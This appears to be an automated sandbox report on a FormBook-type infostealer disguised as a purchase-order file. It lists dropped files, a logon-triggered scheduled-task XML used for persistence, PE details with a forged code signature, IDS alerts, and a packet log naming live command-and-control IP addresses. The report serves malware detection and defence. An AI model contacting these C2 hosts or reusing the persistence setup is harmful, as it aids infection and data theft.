MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kce0isl4.jc2.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_phhxifuk.wae.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pprqo4xl.42b.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zwwlhhrw.xp0.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp63ED.tmp

Process:	C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.113635396296077
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtacxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTJv
MD5:	174DBEDA5B2271DBBE12F71A9CB62DF1
SHA1:	D56C8AF265AB47310804508BE51B3F8D333BBD44
SHA-256:	D989663B3E8C79586FD87B935DBD5831DA3D00A9B3BAFAB47C3FD77702AA2A84
SHA-512:	70CE9245DA8D453F5E77C36AD7DB958FE5F180594E943843EBA9F3DB20C1448D8457E1C539A7C53DFB476AD850C21D75F7FF639CDAFF55033C6BBD634CA300F5
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp9222.tmp

Process:	C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.113635396296077
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtacxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTJv
MD5:	174DBEDA5B2271DBBE12F71A9CB62DF1
SHA1:	D56C8AF265AB47310804508BE51B3F8D333BBD44
SHA-256:	D989663B3E8C79586FD87B935DBD5831DA3D00A9B3BAFAB47C3FD77702AA2A84
SHA-512:	70CE9245DA8D453F5E77C36AD7DB958FE5F180594E943843EBA9F3DB20C1448D8457E1C539A7C53DFB476AD850C21D75F7FF639CDAFF55033C6BBD634CA300F5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe

Process:	C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1001992
Entropy (8bit):	7.826886814961456
Encrypted:	false
SSDEEP:	24576:I1CYeyNf9/bClxa1ymQOTwzQhakpr6h1NhMue8DgO:7Yeyh+nO1xwshanRMP8DV
MD5:	574C0E8C1D426321E95BD8476334F271
SHA1:	0B43D8C96BBECE4A501991AD1A0761A4710176C5
SHA-256:	7E1C2D14EBC29AE8D1434D9D18D6054A16E91385051D7BB9ED183A63FAFA66B8
SHA-512:	95A57D7B2180EF137295961105F970BEAB46E1BDA6B6ABC134B452FE1CC63F8C14C6775F2A31933C8BB8F7E3D60C409BD64F670C5C5F863E4C9CB47F2498656B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....wFg..............0......,........... ... ....@.. ....................................@.....................................O.... ...(...............6...`..........T............................................ ............... ..H............text........ ...................... ..`.rsrc....(... .....................@..@.reloc.......`......................@..B........................H.......tC..HO...............T...........................................0............}......}.....s!...}......}......}.....("......(......{...........%.r...p(#...s$....%.r...p(#...s$....%.r!..p(#...s$........M...%.+...(%...s$...(&...ra..p ............%...%...o'....&..(.....&..(.......0..h..........{....o(....+...()...t.......o........(...-...........o.......(.......}.....{....o+.....{.....o,............#1.......0............2..2...8.....s...... ....o-..... ....o......%o

C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.826886814961456
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Pre Alert PO TVKJEANSA00967.bat.exe
File size:	1'001'992 bytes
MD5:	574c0e8c1d426321e95bd8476334f271
SHA1:	0b43d8c96bbece4a501991ad1a0761a4710176c5
SHA256:	7e1c2d14ebc29ae8d1434d9d18d6054a16e91385051d7bb9ed183a63fafa66b8
SHA512:	95a57d7b2180ef137295961105f970beab46e1bda6b6abc134b452fe1cc63f8c14c6775f2a31933c8bb8f7e3d60c409bd64f670c5c5f863e4c9cb47f2498656b
SSDEEP:	24576:I1CYeyNf9/bClxa1ymQOTwzQhakpr6h1NhMue8DgO:7Yeyh+nO1xwshanRMP8DV
TLSH:	A92512E4134AC503E1D26B7009B1E7BA3B791EC9B811C327D7ECFCEB3896315A559262
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....wFg..............0......,........... ... ....@.. ....................................@................................

File Icon


Icon Hash:	1b79c89ef671c7e5

Static PE Info

General

Entrypoint:	0x4f04e2
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67467711 [Wed Nov 27 01:34:09 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
push ebx
add byte ptr [ecx+00h], bh
jnc 00007F6298B3E342h
je 00007F6298B3E342h
add byte ptr [ebp+00h], ch
add byte ptr [ecx+00h], al
arpl word ptr [eax], ax
je 00007F6298B3E342h
imul eax, dword ptr [eax], 00610076h
je 00007F6298B3E342h
outsd
add byte ptr [edx+00h], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf048d	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf2000	0x28fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xf1400	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xee78c	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xee508	0xee600	a11a73d8ff8d7f192f70ac3513bd0dba	False	0.9329188106318825	data	7.830225763539746	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xf2000	0x28fc	0x2a00	addd1b43db278810783e1e5a3bd54c9d	False	0.8694196428571429	data	7.47655297874276	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf6000	0xc	0x200	c323e1d9573eea8a4b5a74d8937d0b0e	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xf2100	0x2227	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9723207137138282
RT_GROUP_ICON	0xf4338	0x14	data	1.05
RT_VERSION	0xf435c	0x3a0	data	0.41810344827586204
RT_MANIFEST	0xf470c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-27T16:43:19.387146+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49743	15.197.142.173	80	TCP
2024-11-27T16:43:19.387146+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49743	15.197.142.173	80	TCP
2024-11-27T16:43:36.752491+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49768	38.6.78.235	80	TCP
2024-11-27T16:43:39.370503+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49775	38.6.78.235	80	TCP
2024-11-27T16:43:42.095834+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49781	38.6.78.235	80	TCP
2024-11-27T16:43:44.696864+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49787	38.6.78.235	80	TCP
2024-11-27T16:43:44.696864+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49787	38.6.78.235	80	TCP
2024-11-27T16:43:51.963011+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49803	139.162.181.76	80	TCP
2024-11-27T16:43:54.656200+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49810	139.162.181.76	80	TCP
2024-11-27T16:43:57.614795+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49817	139.162.181.76	80	TCP
2024-11-27T16:44:00.225216+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49826	139.162.181.76	80	TCP
2024-11-27T16:44:00.225216+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49826	139.162.181.76	80	TCP
2024-11-27T16:44:07.849372+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49841	154.23.176.197	80	TCP
2024-11-27T16:44:10.536744+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49847	154.23.176.197	80	TCP
2024-11-27T16:44:13.209788+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49853	154.23.176.197	80	TCP
2024-11-27T16:44:16.039080+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49860	154.23.176.197	80	TCP
2024-11-27T16:44:16.039080+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49860	154.23.176.197	80	TCP
2024-11-27T16:44:23.316350+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49878	194.58.112.174	80	TCP
2024-11-27T16:44:25.958240+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49884	194.58.112.174	80	TCP
2024-11-27T16:44:28.724138+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49891	194.58.112.174	80	TCP
2024-11-27T16:44:31.286011+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49898	194.58.112.174	80	TCP
2024-11-27T16:44:31.286011+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49898	194.58.112.174	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 16:43:18.106259108 CET	49743	80	192.168.2.4	15.197.142.173
Nov 27, 2024 16:43:18.227502108 CET	80	49743	15.197.142.173	192.168.2.4
Nov 27, 2024 16:43:18.227772951 CET	49743	80	192.168.2.4	15.197.142.173
Nov 27, 2024 16:43:18.238176107 CET	49743	80	192.168.2.4	15.197.142.173
Nov 27, 2024 16:43:18.358134031 CET	80	49743	15.197.142.173	192.168.2.4
Nov 27, 2024 16:43:19.386939049 CET	80	49743	15.197.142.173	192.168.2.4
Nov 27, 2024 16:43:19.386967897 CET	80	49743	15.197.142.173	192.168.2.4
Nov 27, 2024 16:43:19.387145996 CET	49743	80	192.168.2.4	15.197.142.173
Nov 27, 2024 16:43:19.390312910 CET	49743	80	192.168.2.4	15.197.142.173
Nov 27, 2024 16:43:19.510260105 CET	80	49743	15.197.142.173	192.168.2.4
Nov 27, 2024 16:43:35.256982088 CET	49768	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:35.376974106 CET	80	49768	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:35.377140045 CET	49768	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:35.393528938 CET	49768	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:35.513562918 CET	80	49768	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:36.752314091 CET	80	49768	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:36.752420902 CET	80	49768	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:36.752490997 CET	49768	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:36.896361113 CET	49768	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:37.915625095 CET	49775	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:38.035681009 CET	80	49775	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:38.035778999 CET	49775	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:38.051320076 CET	49775	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:38.171397924 CET	80	49775	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:39.370203018 CET	80	49775	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:39.370435953 CET	80	49775	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:39.370502949 CET	49775	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:39.552556038 CET	49775	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:40.571584940 CET	49781	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:40.691556931 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.691684961 CET	49781	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:40.707643032 CET	49781	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:40.827999115 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.828012943 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.828115940 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.828130007 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.828234911 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.828243971 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.828397036 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.828406096 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:40.828414917 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:42.095628977 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:42.095645905 CET	80	49781	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:42.095834017 CET	49781	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:42.210777044 CET	49781	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:43.228883982 CET	49787	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:43.349100113 CET	80	49787	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:43.349205017 CET	49787	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:43.359163046 CET	49787	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:43.479151011 CET	80	49787	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:44.696460009 CET	80	49787	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:44.696774006 CET	80	49787	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:44.696863890 CET	49787	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:44.699795008 CET	49787	80	192.168.2.4	38.6.78.235
Nov 27, 2024 16:43:44.819981098 CET	80	49787	38.6.78.235	192.168.2.4
Nov 27, 2024 16:43:50.498317003 CET	49803	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:50.618345976 CET	80	49803	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:50.618493080 CET	49803	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:50.644484043 CET	49803	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:50.764834881 CET	80	49803	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:51.962773085 CET	80	49803	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:51.962913990 CET	80	49803	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:51.963011026 CET	49803	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:52.146276951 CET	49803	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:53.184994936 CET	49810	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:53.305064917 CET	80	49810	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:53.305157900 CET	49810	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:53.325275898 CET	49810	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:53.445257902 CET	80	49810	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:54.656110048 CET	80	49810	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:54.656131983 CET	80	49810	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:54.656199932 CET	49810	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:54.833659887 CET	49810	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:56.134743929 CET	49817	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:56.254878044 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.255012035 CET	49817	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:56.270591021 CET	49817	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:56.390840054 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.390995979 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.391010046 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.391036034 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.391077042 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.391123056 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.391160965 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.391249895 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:56.391339064 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:57.571856976 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:57.614794970 CET	49817	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:57.663481951 CET	80	49817	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:57.663631916 CET	49817	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:57.786788940 CET	49817	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:58.828490019 CET	49826	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:58.949927092 CET	80	49826	139.162.181.76	192.168.2.4
Nov 27, 2024 16:43:58.950021982 CET	49826	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:58.960870981 CET	49826	80	192.168.2.4	139.162.181.76
Nov 27, 2024 16:43:59.080867052 CET	80	49826	139.162.181.76	192.168.2.4
Nov 27, 2024 16:44:00.224970102 CET	80	49826	139.162.181.76	192.168.2.4
